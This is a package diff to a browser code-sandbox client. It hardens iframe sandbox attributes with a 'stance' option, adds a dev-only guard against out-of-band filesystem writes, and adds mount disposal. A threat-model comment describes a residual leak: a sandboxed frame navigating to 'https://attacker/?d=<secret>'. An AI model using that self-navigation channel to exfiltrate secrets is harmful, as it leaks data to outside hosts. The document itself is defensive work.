var allowAttrFor = function (stance) {
|
|
40
|
+
return stance === "M3" ? APP_ALLOW_M3 : APP_ALLOW_BASELINE;
|
|
41
|
+
};
|
|
42
|
+
/** Throw if the iframe would run scripts at a same-origin context (G1/T1). */
|
|
43
|
+
function assertOpaqueOrigin(iframe) {
|
|
44
|
+
var _a;
|
|
45
|
+
var sandbox = (_a = iframe.getAttribute("sandbox")) !== null && _a !== void 0 ? _a : "";
|
|
46
|
+
if (/(^|\s)allow-same-origin(\s|$)/.test(sandbox)) {
|
|
47
|
+
throw new Error("Refusing an app iframe with allow-same-origin alongside allow-scripts: " +
|
|
48
|
+
"the sandbox would be void (UI_AS_APPS_SPEC G1/T1).");
|
|
49
|
+
}
|
|
50
|
+
}
|
|
51
|
+
/**
|
|
52
|
+
* Create an opaque-origin sandboxed iframe for running untrusted app code. `stance`
|
|
53
|
+
* (R3-195) selects the M3-hardened sandbox/allow attributes for a stranger app;
|
|
54
|
+
* absent/M0–M2 emits the exact baseline.
|
|
55
|
+
*
|
|
56
|
+
* SELF-NAVIGATION RESIDUAL (booked, do NOT claim closed — §G1a / TRUST_MODES §6 /
|
|
57
|
+
* finding C1): an M3 frame can still `location = "https://attacker/?d=<secret>"`
|
|
58
|
+
* as a ONE-SHOT `GET`. That channel is unblockable without `allow-top-navigation`
|
|
59
|
+
* gymnastics that break legitimate in-app routing, is browser-parity, and is
|
|
60
|
+
* host-observable (a navigation tripwire is a post-hoc signal, never prevention).
|
|
61
|
+
* This factory contains BULK/streaming egress (fetch, form-POST, popups, pixels);
|
|
62
|
+
* it does not — and cannot — close the single-shot self-nav floor.
|
|
63
|
+
*/
|
|
64
|
+
function createSandboxedIframe(doc, stance) {
|
|
65
|
+
if (doc === void 0) { doc = document; }
|
|
66
|
+
var iframe = doc.createElement("iframe");
|
|
67
|
+
iframe.setAttribute("sandbox", sandboxAttrFor(stance));
|
|
68
|
+
iframe.setAttribute("allow", allowAttrFor(stance));
|
|
69
|
+
assertOpaqueOrigin(iframe);
|
|
70
|
+
return iframe;
|
|
71
|
+
}
|
|
72
|
+
/**
|
|
73
|
+
* Ensure a (possibly externally-provided) app iframe is opaque-origin: set the
|
|
74
|
+
* sandbox/allow attributes if absent, then assert no `allow-same-origin`. Use
|
|
75
|
+
* this for the case where a host passes in its own iframe element. `stance` selects
|
|
76
|
+
* the M3-hardened attributes when this factory is the one setting them.
|
|
77
|
+
*/
|
|
78
|
+
function ensureSandboxed(iframe, stance) {
|
|
79
|
+
if (!iframe.getAttribute("sandbox")) {
|
|
80
|
+
iframe.setAttribute("sandbox", sandboxAttrFor(stance));
|
|
81
|
+
iframe.setAttribute("allow", allowAttrFor(stance));
|
|
82
|
+
}
|
|
83
|
+
assertOpaqueOrigin(iframe);
|
|
84
|
+
}
|
|
85
|
+
|
|
86
|
+
export { createSandboxedIframe as c, ensureSandboxed as e };
|
|
@@ -1,10 +1,10 @@
|
|
|
1
1
|
import { g as __extends, h as __assign, _ as __awaiter, a as __generator } from './utils-DG1HA4RZ.mjs';
|
|
2
2
|
import { PreviewController } from 'static-browser-server';
|
|
3
|
-
import { E as EventEmitter, g as generateRandomId, c as consoleHook } from './consoleHook-
|
|
3
|
+
import { E as EventEmitter, g as generateRandomId, c as consoleHook } from './consoleHook-BYuGaxe8.mjs';
|
|
4
4
|
import { S as SandpackClient } from './base-DBh7xJX9.mjs';
|
|
5
|
-
import { c as createSandboxedIframe, e as ensureSandboxed } from './iframe-factory-
|
|
5
|
+
import { c as createSandboxedIframe, e as ensureSandboxed } from './iframe-factory-C8M0b9uf.mjs';
|
|
6
6
|
import 'outvariant';
|
|
7
|
-
import './types-
|
|
7
|
+
import './types-BgalzxpH.mjs';
|
|
8
8
|
import '@zenfs/core';
|
|
9
9
|
import 'dequal';
|
|
10
10
|
|
|
@@ -75,14 +75,14 @@ var SandpackStatic = /** @class */ (function (_super) {
|
|
|
75
75
|
_this.element = element;
|
|
76
76
|
// Opaque-origin app iframe via the single factory (G1/T1) — untrusted
|
|
77
77
|
// preview content runs at an opaque origin (see the runtime client).
|
|
78
|
-
_this.iframe = createSandboxedIframe();
|
|
78
|
+
_this.iframe = createSandboxedIframe(document, _this.options.stance);
|
|
79
79
|
}
|
|
80
80
|
else {
|
|
81
81
|
_this.element = selector;
|
|
82
82
|
_this.iframe = selector;
|
|
83
83
|
}
|
|
84
84
|
// Set-and-assert: harden a host-provided iframe; verify no allow-same-origin.
|
|
85
|
-
ensureSandboxed(_this.iframe);
|
|
85
|
+
ensureSandboxed(_this.iframe, _this.options.stance);
|
|
86
86
|
_this.eventListener = _this.eventListener.bind(_this);
|
|
87
87
|
if (typeof window !== "undefined") {
|
|
88
88
|
window.addEventListener("message", _this.eventListener);
|
|
@@ -2,11 +2,11 @@
|
|
|
2
2
|
|
|
3
3
|
var utils = require('./utils-BiVyytui.js');
|
|
4
4
|
var staticBrowserServer = require('static-browser-server');
|
|
5
|
-
var consoleHook = require('./consoleHook-
|
|
5
|
+
var consoleHook = require('./consoleHook-BRSVCdB0.js');
|
|
6
6
|
var base = require('./base-DelKLlDk.js');
|
|
7
|
-
var iframeFactory = require('./iframe-factory-
|
|
7
|
+
var iframeFactory = require('./iframe-factory-Bc7tcyQZ.js');
|
|
8
8
|
require('outvariant');
|
|
9
|
-
require('./types-
|
|
9
|
+
require('./types-KEkDKvIe.js');
|
|
10
10
|
require('@zenfs/core');
|
|
11
11
|
require('dequal');
|
|
12
12
|
|
|
@@ -77,14 +77,14 @@ var SandpackStatic = /** @class */ (function (_super) {
|
|
|
77
77
|
_this.element = element;
|
|
78
78
|
// Opaque-origin app iframe via the single factory (G1/T1) — untrusted
|
|
79
79
|
// preview content runs at an opaque origin (see the runtime client).
|
|
80
|
-
_this.iframe = iframeFactory.createSandboxedIframe();
|
|
80
|
+
_this.iframe = iframeFactory.createSandboxedIframe(document, _this.options.stance);
|
|
81
81
|
}
|
|
82
82
|
else {
|
|
83
83
|
_this.element = selector;
|
|
84
84
|
_this.iframe = selector;
|
|
85
85
|
}
|
|
86
86
|
// Set-and-assert: harden a host-provided iframe; verify no allow-same-origin.
|
|
87
|
-
iframeFactory.ensureSandboxed(_this.iframe);
|
|
87
|
+
iframeFactory.ensureSandboxed(_this.iframe, _this.options.stance);
|
|
88
88
|
_this.eventListener = _this.eventListener.bind(_this);
|
|
89
89
|
if (typeof window !== "undefined") {
|
|
90
90
|
window.addEventListener("message", _this.eventListener);
|
package/dist/index.js
CHANGED
|
@@ -1,7 +1,7 @@
|
|
|
1
1
|
'use strict';
|
|
2
2
|
|
|
3
3
|
var utils = require('./utils-BiVyytui.js');
|
|
4
|
-
var types = require('./types-
|
|
4
|
+
var types = require('./types-KEkDKvIe.js');
|
|
5
5
|
require('outvariant');
|
|
6
6
|
require('@zenfs/core');
|
|
7
7
|
|
|
@@ -24,7 +24,7 @@ function loadSandpackClient(iframeSelector_1, sandboxSetup_1) {
|
|
|
24
24
|
case 2:
|
|
25
25
|
Client = _c.sent();
|
|
26
26
|
return [3 /*break*/, 7];
|
|
27
|
-
case 3: return [4 /*yield*/, Promise.resolve().then(function () { return require('./index
|
|
27
|
+
case 3: return [4 /*yield*/, Promise.resolve().then(function () { return require('./index-dX5nvjo5.js'); }).then(function (m) { return m.SandpackStatic; })];
|
|
28
28
|
case 4:
|
|
29
29
|
Client = _c.sent();
|
|
30
30
|
return [3 /*break*/, 7];
|
package/dist/index.mjs
CHANGED
|
@@ -1,6 +1,6 @@
|
|
|
1
1
|
import { _ as __awaiter, a as __generator } from './utils-DG1HA4RZ.mjs';
|
|
2
2
|
export { b as addPackageJSONIfNeededToMap, c as createError, d as createPackageJSON, e as extractErrorDetails, n as normalizePath, f as nullthrows } from './utils-DG1HA4RZ.mjs';
|
|
3
|
-
export { M as META_PATH, S as SandpackFS, a as SandpackLogLevel } from './types-
|
|
3
|
+
export { M as META_PATH, S as SandpackFS, a as SandpackLogLevel } from './types-BgalzxpH.mjs';
|
|
4
4
|
import 'outvariant';
|
|
5
5
|
import '@zenfs/core';
|
|
6
6
|
|
|
@@ -23,7 +23,7 @@ function loadSandpackClient(iframeSelector_1, sandboxSetup_1) {
|
|
|
23
23
|
case 2:
|
|
24
24
|
Client = _c.sent();
|
|
25
25
|
return [3 /*break*/, 7];
|
|
26
|
-
case 3: return [4 /*yield*/, import('./index-
|
|
26
|
+
case 3: return [4 /*yield*/, import('./index-CetxPB1x.mjs').then(function (m) { return m.SandpackStatic; })];
|
|
27
27
|
case 4:
|
|
28
28
|
Client = _c.sent();
|
|
29
29
|
return [3 /*break*/, 7];
|
|
@@ -1,5 +1,5 @@
|
|
|
1
1
|
import { _ as __awaiter, a as __generator, h as __assign } from './utils-DG1HA4RZ.mjs';
|
|
2
|
-
import { mount, bindContext, resolveMountConfig, InMemory } from '@zenfs/core';
|
|
2
|
+
import { umount, mount, bindContext, resolveMountConfig, InMemory } from '@zenfs/core';
|
|
3
3
|
|
|
4
4
|
/**
|
|
5
5
|
* Path (within the SandpackFS) of the sidecar metadata file. Anything below
|
|
@@ -7,6 +7,70 @@ import { mount, bindContext, resolveMountConfig, InMemory } from '@zenfs/core';
|
|
|
7
7
|
*/
|
|
8
8
|
var META_PATH = "/.sandpack/meta.json";
|
|
9
9
|
var META_DIR = "/.sandpack";
|
|
10
|
+
/**
|
|
11
|
+
* Dev-only flag, using the standard `process.env.NODE_ENV` convention. This dist is
|
|
12
|
+
* always consumed by a bundler (site-main, the sandbox) that statically replaces
|
|
13
|
+
* `process.env.NODE_ENV`, so in a production build this folds to `false` and the
|
|
14
|
+
* `if (IS_DEV)` branch — with the whole {@link installOutOfBandGuard} function it is
|
|
15
|
+
* the only reference to — is dead-code-eliminated (verified with terser: the
|
|
16
|
+
* assertion string is absent once `NODE_ENV="production"`). The bare form (no
|
|
17
|
+
* `typeof` guard) is what lets it fold to a literal; a `typeof process` guard would
|
|
18
|
+
* defeat the elimination.
|
|
19
|
+
*/
|
|
20
|
+
var IS_DEV = process.env.NODE_ENV !== "production";
|
|
21
|
+
/**
|
|
22
|
+
* The ZenFS `fs.promises` methods that mutate the store. In dev these are wrapped
|
|
23
|
+
* (see {@link installOutOfBandGuard}) so a write that reaches this instance's
|
|
24
|
+
* bound-context fs **without** going through `SandpackFS.writeFile` is caught.
|
|
25
|
+
* Reads (`readFile`/`readdir`/`stat`) are never guarded.
|
|
26
|
+
*/
|
|
27
|
+
var GUARDED_WRITE_METHODS = [
|
|
28
|
+
"writeFile",
|
|
29
|
+
"unlink",
|
|
30
|
+
"mkdir",
|
|
31
|
+
"rename",
|
|
32
|
+
"appendFile",
|
|
33
|
+
"truncate",
|
|
34
|
+
"rm",
|
|
35
|
+
"rmdir",
|
|
36
|
+
];
|
|
37
|
+
/**
|
|
38
|
+
* Dev-only. Wrap the store-mutating methods on a SandpackFS instance's
|
|
39
|
+
* bound-context `fs.promises` so any write that did **not** go through
|
|
40
|
+
* `SandpackFS.writeFile` / `handleRemoteChange` (those use captured raw methods,
|
|
41
|
+
* which stay unwrapped) emits a single loud `console.error` naming the offending
|
|
42
|
+
* method + path, then still performs the write. Enforces the class writer invariant
|
|
43
|
+
* (roadmap R3-110).
|
|
44
|
+
*
|
|
45
|
+
* This is a module-level function (not a class method) and its **only** reference
|
|
46
|
+
* is behind the `if (IS_DEV)` branch in the constructor — so once a consumer's
|
|
47
|
+
* production build folds `IS_DEV` to `false`, the branch and this whole function
|
|
48
|
+
* tree-shake away (a class method would be retained). No-op in production.
|
|
49
|
+
*/
|
|
50
|
+
function installOutOfBandGuard(fsContext) {
|
|
51
|
+
var p = fsContext.fs.promises;
|
|
52
|
+
var _loop_1 = function (method) {
|
|
53
|
+
var original = p[method];
|
|
54
|
+
if (typeof original !== "function")
|
|
55
|
+
return "continue";
|
|
56
|
+
var call = original;
|
|
57
|
+
p[method] = function () {
|
|
58
|
+
var args = [];
|
|
59
|
+
for (var _i = 0; _i < arguments.length; _i++) {
|
|
60
|
+
args[_i] = arguments[_i];
|
|
61
|
+
}
|
|
62
|
+
console.error("[SandpackFS] out-of-band write: '".concat(method, "(").concat(String(args[0]), ")' bypassed SandpackFS.writeFile()/handleRemoteChange(), so it emits ") +
|
|
63
|
+
"no onChange \u2014 the editor view and bundler relay will miss it. Route the " +
|
|
64
|
+
"write through SandpackFS (EDITOR_AS_APP_SPEC D-EDIT-1 writer invariant; " +
|
|
65
|
+
"LOCAL_DEVELOPMENT_SPEC \u00A76.5).");
|
|
66
|
+
return call.apply(p, args);
|
|
67
|
+
};
|
|
68
|
+
};
|
|
69
|
+
for (var _i = 0, GUARDED_WRITE_METHODS_1 = GUARDED_WRITE_METHODS; _i < GUARDED_WRITE_METHODS_1.length; _i++) {
|
|
70
|
+
var method = GUARDED_WRITE_METHODS_1[_i];
|
|
71
|
+
_loop_1(method);
|
|
72
|
+
}
|
|
73
|
+
}
|
|
10
74
|
var mountCounter = 0;
|
|
11
75
|
var normalize = function (path) {
|
|
12
76
|
return path.startsWith("/") ? path : "/".concat(path);
|
|
@@ -19,6 +83,20 @@ var normalize = function (path) {
|
|
|
19
83
|
* All reads / writes are async. Changes emit a single coalesced notification
|
|
20
84
|
* (watcher or explicit helper calls) so React can subscribe via
|
|
21
85
|
* `useSyncExternalStore`.
|
|
86
|
+
*
|
|
87
|
+
* ## Writer invariant (why every mutation must funnel through here)
|
|
88
|
+
*
|
|
89
|
+
* The ZenFS `Port` backend does **not** forward watch events across the iframe
|
|
90
|
+
* boundary, so **every** independent mutator of the shared store MUST route through
|
|
91
|
+
* {@link SandpackFS.writeFile} (local edits → `external: false`) or
|
|
92
|
+
* {@link SandpackFS.handleRemoteChange} (iframe edits relayed by the host's
|
|
93
|
+
* `exportZenFS` → `external: true`). A write that reaches this instance's
|
|
94
|
+
* bound-context fs by any other path emits no `onChange`, so the editor view and
|
|
95
|
+
* the bundler relay silently miss it. This is the conflict-model writer invariant
|
|
96
|
+
* spec'd in **`EDITOR_AS_APP_SPEC.md` → Decisions & rejected alternatives D-EDIT-1**
|
|
97
|
+
* ("Conflict-model note (writer invariant)") and **`LOCAL_DEVELOPMENT_SPEC.md` §6.5**.
|
|
98
|
+
* In dev, {@link installOutOfBandGuard} turns that convention into a loud
|
|
99
|
+
* assertion (roadmap R3-110); in production the guard is compiled out.
|
|
22
100
|
*/
|
|
23
101
|
var SandpackFS = /** @class */ (function () {
|
|
24
102
|
function SandpackFS(fsContext, remotePortFactory,
|
|
@@ -35,6 +113,16 @@ var SandpackFS = /** @class */ (function () {
|
|
|
35
113
|
this.sidecarEnvironment = undefined;
|
|
36
114
|
this.sidecarMode = undefined;
|
|
37
115
|
this.disposed = false;
|
|
116
|
+
/** The ZenFS mount point this instance created and is therefore allowed to
|
|
117
|
+
* unmount in {@link dispose}. Unset for an adopted context, whose lifecycle
|
|
118
|
+
* belongs to the caller. */
|
|
119
|
+
this.ownedMountPoint = undefined;
|
|
120
|
+
var p = fsContext.fs.promises;
|
|
121
|
+
this.rawWriteFile = p.writeFile.bind(p);
|
|
122
|
+
this.rawUnlink = p.unlink.bind(p);
|
|
123
|
+
this.rawMkdir = p.mkdir.bind(p);
|
|
124
|
+
if (IS_DEV)
|
|
125
|
+
installOutOfBandGuard(fsContext);
|
|
38
126
|
}
|
|
39
127
|
/**
|
|
40
128
|
* Create the `MessagePort` shared with the child iframe, wiring the iframe's
|
|
@@ -66,6 +154,9 @@ var SandpackFS = /** @class */ (function () {
|
|
|
66
154
|
mount(prefix, backend);
|
|
67
155
|
ctxt = bindContext({ root: prefix });
|
|
68
156
|
instance = new SandpackFS(ctxt, remotePortFactory, onWrite);
|
|
157
|
+
// We created the mount, so we own it: `dispose()` may unmount it. An adopted
|
|
158
|
+
// context (`fromFileSystemContext`) leaves this unset and is never unmounted.
|
|
159
|
+
instance.ownedMountPoint = prefix;
|
|
69
160
|
if (options.environment !== undefined) {
|
|
70
161
|
instance.sidecarEnvironment = options.environment;
|
|
71
162
|
}
|
|
@@ -85,9 +176,7 @@ var SandpackFS = /** @class */ (function () {
|
|
|
85
176
|
* lifecycle - {@link dispose} will unmount but not destroy the underlying
|
|
86
177
|
* store.
|
|
87
178
|
*/
|
|
88
|
-
SandpackFS.fromFileSystemContext = function (
|
|
89
|
-
// eslint-disable-next-line @typescript-eslint/no-explicit-any
|
|
90
|
-
fsContext, remotePortFactory, onWrite) {
|
|
179
|
+
SandpackFS.fromFileSystemContext = function (fsContext, remotePortFactory, onWrite) {
|
|
91
180
|
return __awaiter(this, void 0, void 0, function () {
|
|
92
181
|
var instance;
|
|
93
182
|
return __generator(this, function (_a) {
|
|
@@ -149,7 +238,7 @@ var SandpackFS = /** @class */ (function () {
|
|
|
149
238
|
return [4 /*yield*/, this.ensureParent(abs)];
|
|
150
239
|
case 1:
|
|
151
240
|
_b.sent();
|
|
152
|
-
return [4 /*yield*/, this.
|
|
241
|
+
return [4 /*yield*/, this.rawWriteFile(abs, content)];
|
|
153
242
|
case 2:
|
|
154
243
|
_b.sent();
|
|
155
244
|
normalized = normalize(path);
|
|
@@ -166,7 +255,7 @@ var SandpackFS = /** @class */ (function () {
|
|
|
166
255
|
var normalized;
|
|
167
256
|
return __generator(this, function (_a) {
|
|
168
257
|
switch (_a.label) {
|
|
169
|
-
case 0: return [4 /*yield*/, this.
|
|
258
|
+
case 0: return [4 /*yield*/, this.rawUnlink(this.toAbs(path))];
|
|
170
259
|
case 1:
|
|
171
260
|
_a.sent();
|
|
172
261
|
normalized = normalize(path);
|
|
@@ -299,6 +388,30 @@ var SandpackFS = /** @class */ (function () {
|
|
|
299
388
|
return;
|
|
300
389
|
this.notify({ path: normalize(path), external: true });
|
|
301
390
|
};
|
|
391
|
+
/**
|
|
392
|
+
* Tear this instance down: drop every subscriber, stop emitting changes, and
|
|
393
|
+
* release the ZenFS mount if we created it ({@link fromFiles}). An *adopted*
|
|
394
|
+
* context ({@link fromFileSystemContext}) is left mounted — its lifecycle
|
|
395
|
+
* belongs to the caller.
|
|
396
|
+
*
|
|
397
|
+
* ZenFS mounts live in a process-globalThis table, so an instance that is never
|
|
398
|
+
* disposed keeps its backing store alive for the page's lifetime. Idempotent.
|
|
399
|
+
*/
|
|
400
|
+
SandpackFS.prototype.dispose = function () {
|
|
401
|
+
if (this.disposed)
|
|
402
|
+
return;
|
|
403
|
+
this.disposed = true;
|
|
404
|
+
this.listeners.clear();
|
|
405
|
+
if (this.ownedMountPoint) {
|
|
406
|
+
try {
|
|
407
|
+
umount(this.ownedMountPoint);
|
|
408
|
+
}
|
|
409
|
+
catch (_a) {
|
|
410
|
+
/* already unmounted — disposal must never throw */
|
|
411
|
+
}
|
|
412
|
+
this.ownedMountPoint = undefined;
|
|
413
|
+
}
|
|
414
|
+
};
|
|
302
415
|
// ------------------------------------------------------------------
|
|
303
416
|
// Internals
|
|
304
417
|
// ------------------------------------------------------------------
|
|
@@ -321,7 +434,7 @@ var SandpackFS = /** @class */ (function () {
|
|
|
321
434
|
switch (_b.label) {
|
|
322
435
|
case 0:
|
|
323
436
|
_b.trys.push([0, 2, , 3]);
|
|
324
|
-
return [4 /*yield*/, this.
|
|
437
|
+
return [4 /*yield*/, this.rawMkdir(META_DIR, {
|
|
325
438
|
recursive: true,
|
|
326
439
|
})];
|
|
327
440
|
case 1:
|
|
@@ -350,7 +463,7 @@ var SandpackFS = /** @class */ (function () {
|
|
|
350
463
|
_b.label = 1;
|
|
351
464
|
case 1:
|
|
352
465
|
_b.trys.push([1, 3, , 4]);
|
|
353
|
-
return [4 /*yield*/, this.
|
|
466
|
+
return [4 /*yield*/, this.rawMkdir(dir, { recursive: true })];
|
|
354
467
|
case 2:
|
|
355
468
|
_b.sent();
|
|
356
469
|
return [3 /*break*/, 4];
|
|
@@ -437,7 +550,7 @@ var SandpackFS = /** @class */ (function () {
|
|
|
437
550
|
return [4 /*yield*/, this.ensureParent(abs)];
|
|
438
551
|
case 3:
|
|
439
552
|
_c.sent();
|
|
440
|
-
return [4 /*yield*/, this.
|
|
553
|
+
return [4 /*yield*/, this.rawWriteFile(abs, entry.code)];
|
|
441
554
|
case 4:
|
|
442
555
|
_c.sent();
|
|
443
556
|
fileMeta = {};
|
|
@@ -478,7 +591,7 @@ var SandpackFS = /** @class */ (function () {
|
|
|
478
591
|
if (this.sidecarMode !== undefined) {
|
|
479
592
|
sidecar.mode = this.sidecarMode;
|
|
480
593
|
}
|
|
481
|
-
return [4 /*yield*/, this.
|
|
594
|
+
return [4 /*yield*/, this.rawWriteFile(this.toAbs(META_PATH), JSON.stringify(sidecar))];
|
|
482
595
|
case 2:
|
|
483
596
|
_a.sent();
|
|
484
597
|
return [2 /*return*/];
|
|
@@ -9,6 +9,70 @@ var core = require('@zenfs/core');
|
|
|
9
9
|
*/
|
|
10
10
|
var META_PATH = "/.sandpack/meta.json";
|
|
11
11
|
var META_DIR = "/.sandpack";
|
|
12
|
+
/**
|
|
13
|
+
* Dev-only flag, using the standard `process.env.NODE_ENV` convention. This dist is
|
|
14
|
+
* always consumed by a bundler (site-main, the sandbox) that statically replaces
|
|
15
|
+
* `process.env.NODE_ENV`, so in a production build this folds to `false` and the
|
|
16
|
+
* `if (IS_DEV)` branch — with the whole {@link installOutOfBandGuard} function it is
|
|
17
|
+
* the only reference to — is dead-code-eliminated (verified with terser: the
|
|
18
|
+
* assertion string is absent once `NODE_ENV="production"`). The bare form (no
|
|
19
|
+
* `typeof` guard) is what lets it fold to a literal; a `typeof process` guard would
|
|
20
|
+
* defeat the elimination.
|
|
21
|
+
*/
|
|
22
|
+
var IS_DEV = process.env.NODE_ENV !== "production";
|
|
23
|
+
/**
|
|
24
|
+
* The ZenFS `fs.promises` methods that mutate the store. In dev these are wrapped
|
|
25
|
+
* (see {@link installOutOfBandGuard}) so a write that reaches this instance's
|
|
26
|
+
* bound-context fs **without** going through `SandpackFS.writeFile` is caught.
|
|
27
|
+
* Reads (`readFile`/`readdir`/`stat`) are never guarded.
|
|
28
|
+
*/
|
|
29
|
+
var GUARDED_WRITE_METHODS = [
|
|
30
|
+
"writeFile",
|
|
31
|
+
"unlink",
|
|
32
|
+
"mkdir",
|
|
33
|
+
"rename",
|
|
34
|
+
"appendFile",
|
|
35
|
+
"truncate",
|
|
36
|
+
"rm",
|
|
37
|
+
"rmdir",
|
|
38
|
+
];
|
|
39
|
+
/**
|
|
40
|
+
* Dev-only. Wrap the store-mutating methods on a SandpackFS instance's
|
|
41
|
+
* bound-context `fs.promises` so any write that did **not** go through
|
|
42
|
+
* `SandpackFS.writeFile` / `handleRemoteChange` (those use captured raw methods,
|
|
43
|
+
* which stay unwrapped) emits a single loud `console.error` naming the offending
|
|
44
|
+
* method + path, then still performs the write. Enforces the class writer invariant
|
|
45
|
+
* (roadmap R3-110).
|
|
46
|
+
*
|
|
47
|
+
* This is a module-level function (not a class method) and its **only** reference
|
|
48
|
+
* is behind the `if (IS_DEV)` branch in the constructor — so once a consumer's
|
|
49
|
+
* production build folds `IS_DEV` to `false`, the branch and this whole function
|
|
50
|
+
* tree-shake away (a class method would be retained). No-op in production.
|
|
51
|
+
*/
|
|
52
|
+
function installOutOfBandGuard(fsContext) {
|
|
53
|
+
var p = fsContext.fs.promises;
|
|
54
|
+
var _loop_1 = function (method) {
|
|
55
|
+
var original = p[method];
|
|
56
|
+
if (typeof original !== "function")
|
|
57
|
+
return "continue";
|
|
58
|
+
var call = original;
|
|
59
|
+
p[method] = function () {
|
|
60
|
+
var args = [];
|
|
61
|
+
for (var _i = 0; _i < arguments.length; _i++) {
|
|
62
|
+
args[_i] = arguments[_i];
|
|
63
|
+
}
|
|
64
|
+
console.error("[SandpackFS] out-of-band write: '".concat(method, "(").concat(String(args[0]), ")' bypassed SandpackFS.writeFile()/handleRemoteChange(), so it emits ") +
|
|
65
|
+
"no onChange \u2014 the editor view and bundler relay will miss it. Route the " +
|
|
66
|
+
"write through SandpackFS (EDITOR_AS_APP_SPEC D-EDIT-1 writer invariant; " +
|
|
67
|
+
"LOCAL_DEVELOPMENT_SPEC \u00A76.5).");
|
|
68
|
+
return call.apply(p, args);
|
|
69
|
+
};
|
|
70
|
+
};
|
|
71
|
+
for (var _i = 0, GUARDED_WRITE_METHODS_1 = GUARDED_WRITE_METHODS; _i < GUARDED_WRITE_METHODS_1.length; _i++) {
|
|
72
|
+
var method = GUARDED_WRITE_METHODS_1[_i];
|
|
73
|
+
_loop_1(method);
|
|
74
|
+
}
|
|
75
|
+
}
|
|
12
76
|
var mountCounter = 0;
|
|
13
77
|
var normalize = function (path) {
|
|
14
78
|
return path.startsWith("/") ? path : "/".concat(path);
|
|
@@ -21,6 +85,20 @@ var normalize = function (path) {
|
|
|
21
85
|
* All reads / writes are async. Changes emit a single coalesced notification
|
|
22
86
|
* (watcher or explicit helper calls) so React can subscribe via
|
|
23
87
|
* `useSyncExternalStore`.
|
|
88
|
+
*
|
|
89
|
+
* ## Writer invariant (why every mutation must funnel through here)
|
|
90
|
+
*
|
|
91
|
+
* The ZenFS `Port` backend does **not** forward watch events across the iframe
|
|
92
|
+
* boundary, so **every** independent mutator of the shared store MUST route through
|
|
93
|
+
* {@link SandpackFS.writeFile} (local edits → `external: false`) or
|
|
94
|
+
* {@link SandpackFS.handleRemoteChange} (iframe edits relayed by the host's
|
|
95
|
+
* `exportZenFS` → `external: true`). A write that reaches this instance's
|
|
96
|
+
* bound-context fs by any other path emits no `onChange`, so the editor view and
|
|
97
|
+
* the bundler relay silently miss it. This is the conflict-model writer invariant
|
|
98
|
+
* spec'd in **`EDITOR_AS_APP_SPEC.md` → Decisions & rejected alternatives D-EDIT-1**
|
|
99
|
+
* ("Conflict-model note (writer invariant)") and **`LOCAL_DEVELOPMENT_SPEC.md` §6.5**.
|
|
100
|
+
* In dev, {@link installOutOfBandGuard} turns that convention into a loud
|
|
101
|
+
* assertion (roadmap R3-110); in production the guard is compiled out.
|
|
24
102
|
*/
|
|
25
103
|
var SandpackFS = /** @class */ (function () {
|
|
26
104
|
function SandpackFS(fsContext, remotePortFactory,
|
|
@@ -37,6 +115,16 @@ var SandpackFS = /** @class */ (function () {
|
|
|
37
115
|
this.sidecarEnvironment = undefined;
|
|
38
116
|
this.sidecarMode = undefined;
|
|
39
117
|
this.disposed = false;
|
|
118
|
+
/** The ZenFS mount point this instance created and is therefore allowed to
|
|
119
|
+
* unmount in {@link dispose}. Unset for an adopted context, whose lifecycle
|
|
120
|
+
* belongs to the caller. */
|
|
121
|
+
this.ownedMountPoint = undefined;
|
|
122
|
+
var p = fsContext.fs.promises;
|
|
123
|
+
this.rawWriteFile = p.writeFile.bind(p);
|
|
124
|
+
this.rawUnlink = p.unlink.bind(p);
|
|
125
|
+
this.rawMkdir = p.mkdir.bind(p);
|
|
126
|
+
if (IS_DEV)
|
|
127
|
+
installOutOfBandGuard(fsContext);
|
|
40
128
|
}
|
|
41
129
|
/**
|
|
42
130
|
* Create the `MessagePort` shared with the child iframe, wiring the iframe's
|
|
@@ -68,6 +156,9 @@ var SandpackFS = /** @class */ (function () {
|
|
|
68
156
|
core.mount(prefix, backend);
|
|
69
157
|
ctxt = core.bindContext({ root: prefix });
|
|
70
158
|
instance = new SandpackFS(ctxt, remotePortFactory, onWrite);
|
|
159
|
+
// We created the mount, so we own it: `dispose()` may unmount it. An adopted
|
|
160
|
+
// context (`fromFileSystemContext`) leaves this unset and is never unmounted.
|
|
161
|
+
instance.ownedMountPoint = prefix;
|
|
71
162
|
if (options.environment !== undefined) {
|
|
72
163
|
instance.sidecarEnvironment = options.environment;
|
|
73
164
|
}
|
|
@@ -87,9 +178,7 @@ var SandpackFS = /** @class */ (function () {
|
|
|
87
178
|
* lifecycle - {@link dispose} will unmount but not destroy the underlying
|
|
88
179
|
* store.
|
|
89
180
|
*/
|
|
90
|
-
SandpackFS.fromFileSystemContext = function (
|
|
91
|
-
// eslint-disable-next-line @typescript-eslint/no-explicit-any
|
|
92
|
-
fsContext, remotePortFactory, onWrite) {
|
|
181
|
+
SandpackFS.fromFileSystemContext = function (fsContext, remotePortFactory, onWrite) {
|
|
93
182
|
return utils.__awaiter(this, void 0, void 0, function () {
|
|
94
183
|
var instance;
|
|
95
184
|
return utils.__generator(this, function (_a) {
|
|
@@ -151,7 +240,7 @@ var SandpackFS = /** @class */ (function () {
|
|
|
151
240
|
return [4 /*yield*/, this.ensureParent(abs)];
|
|
152
241
|
case 1:
|
|
153
242
|
_b.sent();
|
|
154
|
-
return [4 /*yield*/, this.
|
|
243
|
+
return [4 /*yield*/, this.rawWriteFile(abs, content)];
|
|
155
244
|
case 2:
|
|
156
245
|
_b.sent();
|
|
157
246
|
normalized = normalize(path);
|
|
@@ -168,7 +257,7 @@ var SandpackFS = /** @class */ (function () {
|
|
|
168
257
|
var normalized;
|
|
169
258
|
return utils.__generator(this, function (_a) {
|
|
170
259
|
switch (_a.label) {
|
|
171
|
-
case 0: return [4 /*yield*/, this.
|
|
260
|
+
case 0: return [4 /*yield*/, this.rawUnlink(this.toAbs(path))];
|
|
172
261
|
case 1:
|
|
173
262
|
_a.sent();
|
|
174
263
|
normalized = normalize(path);
|
|
@@ -301,6 +390,30 @@ var SandpackFS = /** @class */ (function () {
|
|
|
301
390
|
return;
|
|
302
391
|
this.notify({ path: normalize(path), external: true });
|
|
303
392
|
};
|
|
393
|
+
/**
|
|
394
|
+
* Tear this instance down: drop every subscriber, stop emitting changes, and
|
|
395
|
+
* release the ZenFS mount if we created it ({@link fromFiles}). An *adopted*
|
|
396
|
+
* context ({@link fromFileSystemContext}) is left mounted — its lifecycle
|
|
397
|
+
* belongs to the caller.
|
|
398
|
+
*
|
|
399
|
+
* ZenFS mounts live in a process-globalThis table, so an instance that is never
|
|
400
|
+
